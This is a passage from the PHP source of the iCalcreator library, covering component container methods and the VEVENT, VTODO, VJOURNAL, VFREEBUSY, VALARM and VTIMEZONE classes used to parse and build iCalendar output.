                    if( $dayno )
                      $value6[] = $dayno;
                    if( $dayname )
                      $value6['DAY'] = $dayname;
                    $value4[$v5ix] = $value6;
                  }
                }
                else {
                  $value4 = array();
                  $dayno  = $dayname = null;
                  $value5 = trim( (string) $value3[1] );
                  if(( ctype_alpha( substr( $value5, -1 ))) &&
                     ( ctype_alpha( substr( $value5, -2, 1 )))) {
                      $dayname = substr( $value5, -2, 2 );
                    if( 2 < strlen( $value5 ))
                      $dayno = substr( $value5, 0, ( strlen( $value5 ) - 2 ));
                  }
                  if( $dayno )
                    $value4[] = $dayno;
                  if( $dayname )
                    $value4['DAY'] = $dayname;
                }
                $recur[$rulelabel] = $value4;
                break;
              }
              default: {
                $value4 = explode( ',', $value3[1] );
                if( 1 < count( $value4 ))
                  $value3[1] = $value4;
                $recur[$rulelabel] = $value3[1];
                break;
              }
            } // end - switch $rulelabel
          } // end - foreach( $values.. .
          $this->setProperty( $propname, $recur, $propattr );
          break;
        case 'X-':
          $propname = ( isset( $propname2 )) ? $propname2 : $propname;
          unset( $propname2 );
        case 'ACTION':
        case 'CLASSIFICATION':
        case 'STATUS':
        case 'TRANSP':
        case 'UID':
        case 'TZID':
        case 'RELATED-TO':
        case 'TZNAME':
          $line = iCalUtilityFunctions::_strunrep( $line );
        default:
          $this->setProperty( $propname, $line, $propattr );
          break;
      } // end  switch( $propname.. .
    } // end - foreach( $proprows.. .
    unset( $unparsedtext, $this->unparsed, $proprows );
    if( isset( $this->components ) && is_array( $this->components ) && ( 0 < count( $this->components ))) {
      $ckeys = array_keys( $this->components );
      foreach( $ckeys as $ckey ) {
        if( !empty( $this->components[$ckey] ) && !empty( $this->components[$ckey]->unparsed )) {
          $this->components[$ckey]->parse();
        }
      }
    }
    return TRUE;
  }
/*********************************************************************************/
/*********************************************************************************/
/**
 * return a copy of this component
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.15.4 - 2012-10-18
 * @return object
 */
  function copy() {
    return unserialize( serialize( $this ));
 }
/*********************************************************************************/
/*********************************************************************************/
/**
 * delete calendar subcomponent from component container
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.8.8 - 2011-03-15
 * @param mixed $arg1 ordno / component type / component uid
 * @param mixed $arg2 optional, ordno if arg1 = component type
 * @return void
 */
  function deleteComponent( $arg1, $arg2=FALSE  ) {
    if( !isset( $this->components )) return FALSE;
    $argType = $index = null;
    if ( ctype_digit( (string) $arg1 )) {
      $argType = 'INDEX';
      $index   = (int) $arg1 - 1;
    }
    elseif(( strlen( $arg1 ) <= strlen( 'vfreebusy' )) && ( FALSE === strpos( $arg1, '@' ))) {
      $argType = strtolower( $arg1 );
      $index   = ( !empty( $arg2 ) && ctype_digit( (string) $arg2 )) ? (( int ) $arg2 - 1 ) : 0;
    }
    $cix2dC = 0;
    foreach ( $this->components as $cix => $component) {
      if( empty( $component )) continue;
      if(( 'INDEX' == $argType ) && ( $index == $cix )) {
        unset( $this->components[$cix] );
        return TRUE;
      }
      elseif( $argType == $component->objName ) {
        if( $index == $cix2dC ) {
          unset( $this->components[$cix] );
          return TRUE;
        }
        $cix2dC++;
      }
      elseif( !$argType && ($arg1 == $component->getProperty( 'uid' ))) {
        unset( $this->components[$cix] );
        return TRUE;
      }
    }
    return FALSE;
  }
/**
 * get calendar component subcomponent from component container
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.8.8 - 2011-03-15
 * @param mixed $arg1 optional, ordno/component type/ component uid
 * @param mixed $arg2 optional, ordno if arg1 = component type
 * @return object
 */
  function getComponent ( $arg1=FALSE, $arg2=FALSE ) {
    if( !isset( $this->components )) return FALSE;
    $index = $argType = null;
    if ( !$arg1 ) {
      $argType = 'INDEX';
      $index   = $this->compix['INDEX'] =
        ( isset( $this->compix['INDEX'] )) ? $this->compix['INDEX'] + 1 : 1;
    }
    elseif ( ctype_digit( (string) $arg1 )) {
      $argType = 'INDEX';
      $index   = (int) $arg1;
      unset( $this->compix );
    }
    elseif(( strlen( $arg1 ) <= strlen( 'vfreebusy' )) && ( FALSE === strpos( $arg1, '@' ))) {
      unset( $this->compix['INDEX'] );
      $argType = strtolower( $arg1 );
      if( !$arg2 )
        $index = $this->compix[$argType] = ( isset( $this->compix[$argType] )) ? $this->compix[$argType] + 1 : 1;
      else
        $index = (int) $arg2;
    }
    $index  -= 1;
    $ckeys = array_keys( $this->components );
    if( !empty( $index) && ( $index > end( $ckeys )))
      return FALSE;
    $cix2gC = 0;
    foreach( $this->components as $cix => $component ) {
      if( empty( $component )) continue;
      if(( 'INDEX' == $argType ) && ( $index == $cix ))
        return $component->copy();
      elseif( $argType == $component->objName ) {
         if( $index == $cix2gC )
           return $component->copy();
         $cix2gC++;
      }
      elseif( !$argType && ( $arg1 == $component->getProperty( 'uid' )))
        return $component->copy();
    }
            /* not found.. . */
    unset( $this->compix );
    return false;
  }
/**
 * add calendar component as subcomponent to container for subcomponents
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 1.x.x - 2007-04-24
 * @param object $component calendar component
 * @return void
 */
  function addSubComponent ( $component ) {
    $this->setComponent( $component );
  }
/**
 * create new calendar component subcomponent, already included within component
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.6.33 - 2011-01-03
 * @param string $compType subcomponent type
 * @return object (reference)
 */
  function & newComponent( $compType ) {
    $config = $this->getConfig();
    $keys   = array_keys( $this->components );
    $ix     = end( $keys) + 1;
    switch( strtoupper( $compType )) {
      case 'ALARM':
      case 'VALARM':
        $this->components[$ix] = new valarm( $config );
        break;
      case 'STANDARD':
        array_unshift( $this->components, new vtimezone( 'STANDARD', $config ));
        $ix = 0;
        break;
      case 'DAYLIGHT':
        $this->components[$ix] = new vtimezone( 'DAYLIGHT', $config );
        break;
      default:
        return FALSE;
    }
    return $this->components[$ix];
  }
/**
 * add calendar component as subcomponent to container for subcomponents
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.8.8 - 2011-03-15
 * @param object $component calendar component
 * @param mixed $arg1 optional, ordno/component type/ component uid
 * @param mixed $arg2 optional, ordno if arg1 = component type
 * @return bool
 */
  function setComponent( $component, $arg1=FALSE, $arg2=FALSE  ) {
    if( !isset( $this->components )) return FALSE;
    $component->setConfig( $this->getConfig(), FALSE, TRUE );
    if( !in_array( $component->objName, array( 'valarm', 'vtimezone', 'standard', 'daylight' ))) {
            /* make sure dtstamp and uid is set */
      $dummy = $component->getProperty( 'dtstamp' );
      $dummy = $component->getProperty( 'uid' );
    }
    if( !$arg1 ) { // plain insert, last in chain
      $this->components[] = $component->copy();
      return TRUE;
    }
    $argType = $index = null;
    if ( ctype_digit( (string) $arg1 )) { // index insert/replace
      $argType = 'INDEX';
      $index   = (int) $arg1 - 1;
    }
    elseif( in_array( strtolower( $arg1 ), array( 'vevent', 'vtodo', 'vjournal', 'vfreebusy', 'valarm', 'vtimezone' ))) {
      $argType = strtolower( $arg1 );
      $index = ( ctype_digit( (string) $arg2 )) ? ((int) $arg2) - 1 : 0;
    }
    // else if arg1 is set, arg1 must be an UID
    $cix2sC = 0;
    foreach ( $this->components as $cix => $component2 ) {
      if( empty( $component2 )) continue;
      if(( 'INDEX' == $argType ) && ( $index == $cix )) { // index insert/replace
        $this->components[$cix] = $component->copy();
        return TRUE;
      }
      elseif( $argType == $component2->objName ) { // component Type index insert/replace
        if( $index == $cix2sC ) {
          $this->components[$cix] = $component->copy();
          return TRUE;
        }
        $cix2sC++;
      }
      elseif( !$argType && ( $arg1 == $component2->getProperty( 'uid' ))) { // UID insert/replace
        $this->components[$cix] = $component->copy();
        return TRUE;
      }
    }
            /* arg1=index and not found.. . insert at index .. .*/
    if( 'INDEX' == $argType ) {
      $this->components[$index] = $component->copy();
      ksort( $this->components, SORT_NUMERIC );
    }
    else    /* not found.. . insert last in chain anyway .. .*/
    $this->components[] = $component->copy();
    return TRUE;
  }
/**
 * creates formatted output for subcomponents
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.11.20 - 2012-02-06
 * @param array $xcaldecl
 * @return string
 */
  function createSubComponent() {
    $output = null;
    if( 'vtimezone' == $this->objName ) { // sort subComponents, first standard, then daylight, in dtstart order
      $stdarr = $dlarr = array();
      foreach( $this->components as $component ) {
        if( empty( $component ))
          continue;
        $dt  = $component->getProperty( 'dtstart' );
        $key = sprintf( '%04d%02d%02d%02d%02d%02d000', $dt['year'], $dt['month'], $dt['day'], $dt['hour'], $dt['min'], $dt['sec'] );
        if( 'standard' == $component->objName ) {
          while( isset( $stdarr[$key] ))
            $key += 1;
          $stdarr[$key] = $component->copy();
        }
        elseif( 'daylight' == $component->objName ) {
          while( isset( $dlarr[$key] ))
            $key += 1;
          $dlarr[$key] = $component->copy();
        }
      } // end foreach( $this->components as $component )
      $this->components = array();
      ksort( $stdarr, SORT_NUMERIC );
      foreach( $stdarr as $std )
        $this->components[] = $std->copy();
      unset( $stdarr );
      ksort( $dlarr,  SORT_NUMERIC );
      foreach( $dlarr as $dl )
        $this->components[] = $dl->copy();
      unset( $dlarr );
    } // end if( 'vtimezone' == $this->objName )
    foreach( $this->components as $component ) {
      $component->setConfig( $this->getConfig(), FALSE, TRUE );
      $output .= $component->createComponent( $this->xcaldecl );
    }
    return $output;
  }
}
/*********************************************************************************/
/*********************************************************************************/
/**
 * class for calendar component VEVENT
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.5.1 - 2008-10-12
 */
class vevent extends calendarComponent {
  var $attach;
  var $attendee;
  var $categories;
  var $comment;
  var $contact;
  var $class;
  var $created;
  var $description;
  var $dtend;
  var $dtstart;
  var $duration;
  var $exdate;
  var $exrule;
  var $geo;
  var $lastmodified;
  var $location;
  var $organizer;
  var $priority;
  var $rdate;
  var $recurrenceid;
  var $relatedto;
  var $requeststatus;
  var $resources;
  var $rrule;
  var $sequence;
  var $status;
  var $summary;
  var $transp;
  var $url;
  var $xprop;
            //  component subcomponents container
  var $components;
/**
 * constructor for calendar component VEVENT object
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.8.2 - 2011-05-01
 * @param  array $config
 * @return void
 */
  function vevent( $config = array()) {
    $this->calendarComponent();

    $this->attach          = '';
    $this->attendee        = '';
    $this->categories      = '';
    $this->class           = '';
    $this->comment         = '';
    $this->contact         = '';
    $this->created         = '';
    $this->description     = '';
    $this->dtstart         = '';
    $this->dtend           = '';
    $this->duration        = '';
    $this->exdate          = '';
    $this->exrule          = '';
    $this->geo             = '';
    $this->lastmodified    = '';
    $this->location        = '';
    $this->organizer       = '';
    $this->priority        = '';
    $this->rdate           = '';
    $this->recurrenceid    = '';
    $this->relatedto       = '';
    $this->requeststatus   = '';
    $this->resources       = '';
    $this->rrule           = '';
    $this->sequence        = '';
    $this->status          = '';
    $this->summary         = '';
    $this->transp          = '';
    $this->url             = '';
    $this->xprop           = '';

    $this->components      = array();

    if( defined( 'ICAL_LANG' ) && !isset( $config['language'] ))
                                          $config['language']   = ICAL_LANG;
    if( !isset( $config['allowEmpty'] ))  $config['allowEmpty'] = TRUE;
    if( !isset( $config['nl'] ))          $config['nl']         = "\r\n";
    if( !isset( $config['format'] ))      $config['format']     = 'iCal';
    if( !isset( $config['delimiter'] ))   $config['delimiter']  = DIRECTORY_SEPARATOR;
    $this->setConfig( $config );

  }
/**
 * create formatted output for calendar component VEVENT object instance
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.10.16 - 2011-10-28
 * @param array $xcaldecl
 * @return string
 */
  function createComponent( &$xcaldecl ) {
    $objectname    = $this->_createFormat();
    $component     = $this->componentStart1.$objectname.$this->componentStart2.$this->nl;
    $component    .= $this->createUid();
    $component    .= $this->createDtstamp();
    $component    .= $this->createAttach();
    $component    .= $this->createAttendee();
    $component    .= $this->createCategories();
    $component    .= $this->createComment();
    $component    .= $this->createContact();
    $component    .= $this->createClass();
    $component    .= $this->createCreated();
    $component    .= $this->createDescription();
    $component    .= $this->createDtstart();
    $component    .= $this->createDtend();
    $component    .= $this->createDuration();
    $component    .= $this->createExdate();
    $component    .= $this->createExrule();
    $component    .= $this->createGeo();
    $component    .= $this->createLastModified();
    $component    .= $this->createLocation();
    $component    .= $this->createOrganizer();
    $component    .= $this->createPriority();
    $component    .= $this->createRdate();
    $component    .= $this->createRrule();
    $component    .= $this->createRelatedTo();
    $component    .= $this->createRequestStatus();
    $component    .= $this->createRecurrenceid();
    $component    .= $this->createResources();
    $component    .= $this->createSequence();
    $component    .= $this->createStatus();
    $component    .= $this->createSummary();
    $component    .= $this->createTransp();
    $component    .= $this->createUrl();
    $component    .= $this->createXprop();
    $component    .= $this->createSubComponent();
    $component    .= $this->componentEnd1.$objectname.$this->componentEnd2;
    if( is_array( $this->xcaldecl ) && ( 0 < count( $this->xcaldecl ))) {
      foreach( $this->xcaldecl as $localxcaldecl )
        $xcaldecl[] = $localxcaldecl;
    }
    return $component;
  }
}
/*********************************************************************************/
/*********************************************************************************/
/**
 * class for calendar component VTODO
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.5.1 - 2008-10-12
 */
class vtodo extends calendarComponent {
  var $attach;
  var $attendee;
  var $categories;
  var $comment;
  var $completed;
  var $contact;
  var $class;
  var $created;
  var $description;
  var $dtstart;
  var $due;
  var $duration;
  var $exdate;
  var $exrule;
  var $geo;
  var $lastmodified;
  var $location;
  var $organizer;
  var $percentcomplete;
  var $priority;
  var $rdate;
  var $recurrenceid;
  var $relatedto;
  var $requeststatus;
  var $resources;
  var $rrule;
  var $sequence;
  var $status;
  var $summary;
  var $url;
  var $xprop;
            //  component subcomponents container
  var $components;
/**
 * constructor for calendar component VTODO object
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.8.2 - 2011-05-01
 * @param array $config
 * @return void
 */
  function vtodo( $config = array()) {
    $this->calendarComponent();

    $this->attach          = '';
    $this->attendee        = '';
    $this->categories      = '';
    $this->class           = '';
    $this->comment         = '';
    $this->completed       = '';
    $this->contact         = '';
    $this->created         = '';
    $this->description     = '';
    $this->dtstart         = '';
    $this->due             = '';
    $this->duration        = '';
    $this->exdate          = '';
    $this->exrule          = '';
    $this->geo             = '';
    $this->lastmodified    = '';
    $this->location        = '';
    $this->organizer       = '';
    $this->percentcomplete = '';
    $this->priority        = '';
    $this->rdate           = '';
    $this->recurrenceid    = '';
    $this->relatedto       = '';
    $this->requeststatus   = '';
    $this->resources       = '';
    $this->rrule           = '';
    $this->sequence        = '';
    $this->status          = '';
    $this->summary         = '';
    $this->url             = '';
    $this->xprop           = '';

    $this->components      = array();

    if( defined( 'ICAL_LANG' ) && !isset( $config['language'] ))
                                          $config['language']   = ICAL_LANG;
    if( !isset( $config['allowEmpty'] ))  $config['allowEmpty'] = TRUE;
    if( !isset( $config['nl'] ))          $config['nl']         = "\r\n";
    if( !isset( $config['format'] ))      $config['format']     = 'iCal';
    if( !isset( $config['delimiter'] ))   $config['delimiter']  = DIRECTORY_SEPARATOR;
    $this->setConfig( $config );

  }
/**
 * create formatted output for calendar component VTODO object instance
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.5.1 - 2008-11-07
 * @param array $xcaldecl
 * @return string
 */
  function createComponent( &$xcaldecl ) {
    $objectname    = $this->_createFormat();
    $component     = $this->componentStart1.$objectname.$this->componentStart2.$this->nl;
    $component    .= $this->createUid();
    $component    .= $this->createDtstamp();
    $component    .= $this->createAttach();
    $component    .= $this->createAttendee();
    $component    .= $this->createCategories();
    $component    .= $this->createClass();
    $component    .= $this->createComment();
    $component    .= $this->createCompleted();
    $component    .= $this->createContact();
    $component    .= $this->createCreated();
    $component    .= $this->createDescription();
    $component    .= $this->createDtstart();
    $component    .= $this->createDue();
    $component    .= $this->createDuration();
    $component    .= $this->createExdate();
    $component    .= $this->createExrule();
    $component    .= $this->createGeo();
    $component    .= $this->createLastModified();
    $component    .= $this->createLocation();
    $component    .= $this->createOrganizer();
    $component    .= $this->createPercentComplete();
    $component    .= $this->createPriority();
    $component    .= $this->createRdate();
    $component    .= $this->createRelatedTo();
    $component    .= $this->createRequestStatus();
    $component    .= $this->createRecurrenceid();
    $component    .= $this->createResources();
    $component    .= $this->createRrule();
    $component    .= $this->createSequence();
    $component    .= $this->createStatus();
    $component    .= $this->createSummary();
    $component    .= $this->createUrl();
    $component    .= $this->createXprop();
    $component    .= $this->createSubComponent();
    $component    .= $this->componentEnd1.$objectname.$this->componentEnd2;
    if( is_array( $this->xcaldecl ) && ( 0 < count( $this->xcaldecl ))) {
      foreach( $this->xcaldecl as $localxcaldecl )
        $xcaldecl[] = $localxcaldecl;
    }
    return $component;
  }
}
/*********************************************************************************/
/*********************************************************************************/
/**
 * class for calendar component VJOURNAL
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.5.1 - 2008-10-12
 */
class vjournal extends calendarComponent {
  var $attach;
  var $attendee;
  var $categories;
  var $comment;
  var $contact;
  var $class;
  var $created;
  var $description;
  var $dtstart;
  var $exdate;
  var $exrule;
  var $lastmodified;
  var $organizer;
  var $rdate;
  var $recurrenceid;
  var $relatedto;
  var $requeststatus;
  var $rrule;
  var $sequence;
  var $status;
  var $summary;
  var $url;
  var $xprop;
/**
 * constructor for calendar component VJOURNAL object
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.8.2 - 2011-05-01
 * @param array $config
 * @return void
 */
  function vjournal( $config = array()) {
    $this->calendarComponent();

    $this->attach          = '';
    $this->attendee        = '';
    $this->categories      = '';
    $this->class           = '';
    $this->comment         = '';
    $this->contact         = '';
    $this->created         = '';
    $this->description     = '';
    $this->dtstart         = '';
    $this->exdate          = '';
    $this->exrule          = '';
    $this->lastmodified    = '';
    $this->organizer       = '';
    $this->rdate           = '';
    $this->recurrenceid    = '';
    $this->relatedto       = '';
    $this->requeststatus   = '';
    $this->rrule           = '';
    $this->sequence        = '';
    $this->status          = '';
    $this->summary         = '';
    $this->url             = '';
    $this->xprop           = '';

    if( defined( 'ICAL_LANG' ) && !isset( $config['language'] ))
                                          $config['language']   = ICAL_LANG;
    if( !isset( $config['allowEmpty'] ))  $config['allowEmpty'] = TRUE;
    if( !isset( $config['nl'] ))          $config['nl']         = "\r\n";
    if( !isset( $config['format'] ))      $config['format']     = 'iCal';
    if( !isset( $config['delimiter'] ))   $config['delimiter']  = DIRECTORY_SEPARATOR;
    $this->setConfig( $config );

  }
/**
 * create formatted output for calendar component VJOURNAL object instance
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.5.1 - 2008-10-12
 * @param array $xcaldecl
 * @return string
 */
  function createComponent( &$xcaldecl ) {
    $objectname = $this->_createFormat();
    $component  = $this->componentStart1.$objectname.$this->componentStart2.$this->nl;
    $component .= $this->createUid();
    $component .= $this->createDtstamp();
    $component .= $this->createAttach();
    $component .= $this->createAttendee();
    $component .= $this->createCategories();
    $component .= $this->createClass();
    $component .= $this->createComment();
    $component .= $this->createContact();
    $component .= $this->createCreated();
    $component .= $this->createDescription();
    $component .= $this->createDtstart();
    $component .= $this->createExdate();
    $component .= $this->createExrule();
    $component .= $this->createLastModified();
    $component .= $this->createOrganizer();
    $component .= $this->createRdate();
    $component .= $this->createRequestStatus();
    $component .= $this->createRecurrenceid();
    $component .= $this->createRelatedTo();
    $component .= $this->createRrule();
    $component .= $this->createSequence();
    $component .= $this->createStatus();
    $component .= $this->createSummary();
    $component .= $this->createUrl();
    $component .= $this->createXprop();
    $component .= $this->componentEnd1.$objectname.$this->componentEnd2;
    if( is_array( $this->xcaldecl ) && ( 0 < count( $this->xcaldecl ))) {
      foreach( $this->xcaldecl as $localxcaldecl )
        $xcaldecl[] = $localxcaldecl;
    }
    return $component;
  }
}
/*********************************************************************************/
/*********************************************************************************/
/**
 * class for calendar component VFREEBUSY
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.5.1 - 2008-10-12
 */
class vfreebusy extends calendarComponent {
  var $attendee;
  var $comment;
  var $contact;
  var $dtend;
  var $dtstart;
  var $duration;
  var $freebusy;
  var $organizer;
  var $requeststatus;
  var $url;
  var $xprop;
            //  component subcomponents container
  var $components;
/**
 * constructor for calendar component VFREEBUSY object
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.8.2 - 2011-05-01
 * @param array $config
 * @return void
 */
  function vfreebusy( $config = array()) {
    $this->calendarComponent();

    $this->attendee        = '';
    $this->comment         = '';
    $this->contact         = '';
    $this->dtend           = '';
    $this->dtstart         = '';
    $this->duration        = '';
    $this->freebusy        = '';
    $this->organizer       = '';
    $this->requeststatus   = '';
    $this->url             = '';
    $this->xprop           = '';

    if( defined( 'ICAL_LANG' ) && !isset( $config['language'] ))
                                          $config['language']   = ICAL_LANG;
    if( !isset( $config['allowEmpty'] ))  $config['allowEmpty'] = TRUE;
    if( !isset( $config['nl'] ))          $config['nl']         = "\r\n";
    if( !isset( $config['format'] ))      $config['format']     = 'iCal';
    if( !isset( $config['delimiter'] ))   $config['delimiter']  = DIRECTORY_SEPARATOR;
    $this->setConfig( $config );

  }
/**
 * create formatted output for calendar component VFREEBUSY object instance
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.3.1 - 2007-11-19
 * @param array $xcaldecl
 * @return string
 */
  function createComponent( &$xcaldecl ) {
    $objectname = $this->_createFormat();
    $component  = $this->componentStart1.$objectname.$this->componentStart2.$this->nl;
    $component .= $this->createUid();
    $component .= $this->createDtstamp();
    $component .= $this->createAttendee();
    $component .= $this->createComment();
    $component .= $this->createContact();
    $component .= $this->createDtstart();
    $component .= $this->createDtend();
    $component .= $this->createDuration();
    $component .= $this->createFreebusy();
    $component .= $this->createOrganizer();
    $component .= $this->createRequestStatus();
    $component .= $this->createUrl();
    $component .= $this->createXprop();
    $component .= $this->componentEnd1.$objectname.$this->componentEnd2;
    if( is_array( $this->xcaldecl ) && ( 0 < count( $this->xcaldecl ))) {
      foreach( $this->xcaldecl as $localxcaldecl )
        $xcaldecl[] = $localxcaldecl;
    }
    return $component;
  }
}
/*********************************************************************************/
/*********************************************************************************/
/**
 * class for calendar component VALARM
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.5.1 - 2008-10-12
 */
class valarm extends calendarComponent {
  var $action;
  var $attach;
  var $attendee;
  var $description;
  var $duration;
  var $repeat;
  var $summary;
  var $trigger;
  var $xprop;
/**
 * constructor for calendar component VALARM object
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.8.2 - 2011-05-01
 * @param array $config
 * @return void
 */
  function valarm( $config = array()) {
    $this->calendarComponent();

    $this->action          = '';
    $this->attach          = '';
    $this->attendee        = '';
    $this->description     = '';
    $this->duration        = '';
    $this->repeat          = '';
    $this->summary         = '';
    $this->trigger         = '';
    $this->xprop           = '';

    if( defined( 'ICAL_LANG' ) && !isset( $config['language'] ))
                                          $config['language']   = ICAL_LANG;
    if( !isset( $config['allowEmpty'] ))  $config['allowEmpty'] = TRUE;
    if( !isset( $config['nl'] ))          $config['nl']         = "\r\n";
    if( !isset( $config['format'] ))      $config['format']     = 'iCal';
    if( !isset( $config['delimiter'] ))   $config['delimiter']  = DIRECTORY_SEPARATOR;
    $this->setConfig( $config );

  }
/**
 * create formatted output for calendar component VALARM object instance
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.5.1 - 2008-10-22
 * @param array $xcaldecl
 * @return string
 */
  function createComponent( &$xcaldecl ) {
    $objectname    = $this->_createFormat();
    $component     = $this->componentStart1.$objectname.$this->componentStart2.$this->nl;
    $component    .= $this->createAction();
    $component    .= $this->createAttach();
    $component    .= $this->createAttendee();
    $component    .= $this->createDescription();
    $component    .= $this->createDuration();
    $component    .= $this->createRepeat();
    $component    .= $this->createSummary();
    $component    .= $this->createTrigger();
    $component    .= $this->createXprop();
    $component    .= $this->componentEnd1.$objectname.$this->componentEnd2;
    if( is_array( $this->xcaldecl ) && ( 0 < count( $this->xcaldecl ))) {
      foreach( $this->xcaldecl as $localxcaldecl )
        $xcaldecl[] = $localxcaldecl;
    }
    return $component;
  }
}
/**********************************************************************************
/*********************************************************************************/
/**
 * class for calendar component VTIMEZONE
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.5.1 - 2008-10-12
 */
class vtimezone extends calendarComponent {
  var $timezonetype;

  var $comment;
  var $dtstart;
  var $lastmodified;
  var $rdate;
  var $rrule;
  var $tzid;
  var $tzname;
  var $tzoffsetfrom;
  var $tzoffsetto;
  var $tzurl;
  var $xprop;
            //  component subcomponents container
  var $components;
/**
 * constructor for calendar component VTIMEZONE object
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.8.2 - 2011-05-01
 * @param mixed $timezonetype optional, default FALSE ( STANDARD / DAYLIGHT )
 * @param array $config
 * @return void
 */
  function vtimezone( $timezonetype=FALSE, $config = array()) {
    if( is_array( $timezonetype )) {
      $config       = $timezonetype;
      $timezonetype = FALSE;
    }
    if( !$timezonetype )
      $this->timezonetype = 'VTIMEZONE';
    else
      $this->timezonetype = strtoupper( $timezonetype );
    $this->calendarComponent();

    $this->comment         = '';
    $this->dtstart         = '';
    $this->lastmodified    = '';
    $this->rdate           = '';
    $this->rrule           = '';
    $this->tzid            = '';
    $this->tzname          = '';
    $this->tzoffsetfrom    = '';
    $this->tzoffsetto      = '';
    $this->tzurl           = '';
    $this->xprop           = '';

    $this->components      = array();

    if( defined( 'ICAL_LANG' ) && !isset( $config['language'] ))
                                          $config['language']   = ICAL_LANG;
    if( !isset( $config['allowEmpty'] ))  $config['allowEmpty'] = TRUE;
    if( !isset( $config['nl'] ))          $config['nl']         = "\r\n";
    if( !isset( $config['format'] ))      $config['format']     = 'iCal';
    if( !isset( $config['delimiter'] ))   $config['delimiter']  = DIRECTORY_SEPARATOR;
    $this->setConfig( $config );

  }
/**
 * create formatted output for calendar component VTIMEZONE object instance
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.5.1 - 2008-10-25
 * @param array $xcaldecl
 * @return string
 */
  function createComponent( &$xcaldecl ) {
    $objectname    = $this->_createFormat();
    $component     = $this->componentStart1.$objectname.$this->componentStart2.$this->nl;
    $component    .= $this->createTzid();
    $component    .= $this->createLastModified();
    $component    .= $this->createTzurl();
    $component    .= $this->createDtstart();
    $component    .= $this->createTzoffsetfrom();
    $component    .= $this->createTzoffsetto();
    $component    .= $this->createComment();
    $component    .= $this->createRdate();
    $component    .= $this->createRrule();
    $component    .= $this->createTzname();
    $component    .= $this->createXprop();
    $component    .= $this->createSubComponent();
    $component    .= $this->componentEnd1.$objectname.$this->componentEnd2;
    if( is_array( $this->xcaldecl ) && ( 0 < count( $this->xcaldecl ))) {
      foreach( $this->xcaldecl as $localxcaldecl )
        $xcaldecl[] = $localxcaldecl;
    }
    return $component;
  }
}
/*********************************************************************************/
/*********************************************************************************/
/**
 * moving all utility (static) functions to a utility class
 * 20111223 - move iCalUtilityFunctions class to the end of the iCalcreator class file
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.10.1 - 2011-07-16
 *
 */
class iCalUtilityFunctions {
  // Store the single instance of iCalUtilityFunctions
  private static $m_pInstance;

  // Private constructor to limit object instantiation to within the class
  private function __construct() {
    $m_pInstance = FALSE;
  }

  // Getter method for creating/returning the single instance of this class
  public static function getInstance() {
    if (!self::$m_pInstance)
      self::$m_pInstance = new iCalUtilityFunctions();

    return self::$m_pInstance;
  }
/**
 * ensures internal date-time/date format (keyed array) for an input date-time/date array (keyed or unkeyed)
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.16.24 - 2013-06-26
 * @param array $datetime
 * @param int $parno optional, default FALSE
 * @return array
 */
  public static function _date_time_array( $datetime, $parno=FALSE ) {
    return iCalUtilityFunctions::_chkDateArr( $datetime, $parno );
  }
  public static function _chkDateArr( $datetime, $parno=FALSE ) {
    $output = array();
    if(( !$parno || ( 6 <= $parno )) && isset( $datetime[3] ) && !isset( $datetime[4] )) { // Y-m-d with tz
      $temp        = $datetime[3];
      $datetime[3] = $datetime[4] = $datetime[5] = 0;
      $datetime[6] = $temp;
    }
    foreach( $datetime as $dateKey => $datePart ) {
      switch ( $dateKey ) {
        case '0': case 'year':   $output['year']  = $datePart; break;
        case '1': case 'month':  $output['month'] = $datePart; break;
        case '2': case 'day':    $output['day']   = $datePart; break;
      }
      if( 3 != $parno ) {
        switch ( $dateKey ) {
          case '0':
          case '1':
          case '2': break;
          case '3': case 'hour': $output['hour']  = $datePart; break;
          case '4': case 'min' : $output['min']   = $datePart; break;
          case '5': case 'sec' : $output['sec']   = $datePart; break;
          case '6': case 'tz'  : $output['tz']    = $datePart; break;
        }
      }
    }
    if( 3 != $parno ) {
      if( !isset( $output['hour'] ))         $output['hour'] = 0;
      if( !isset( $output['min']  ))         $output['min']  = 0;
      if( !isset( $output['sec']  ))         $output['sec']  = 0;
      if( isset( $output['tz'] ) &&
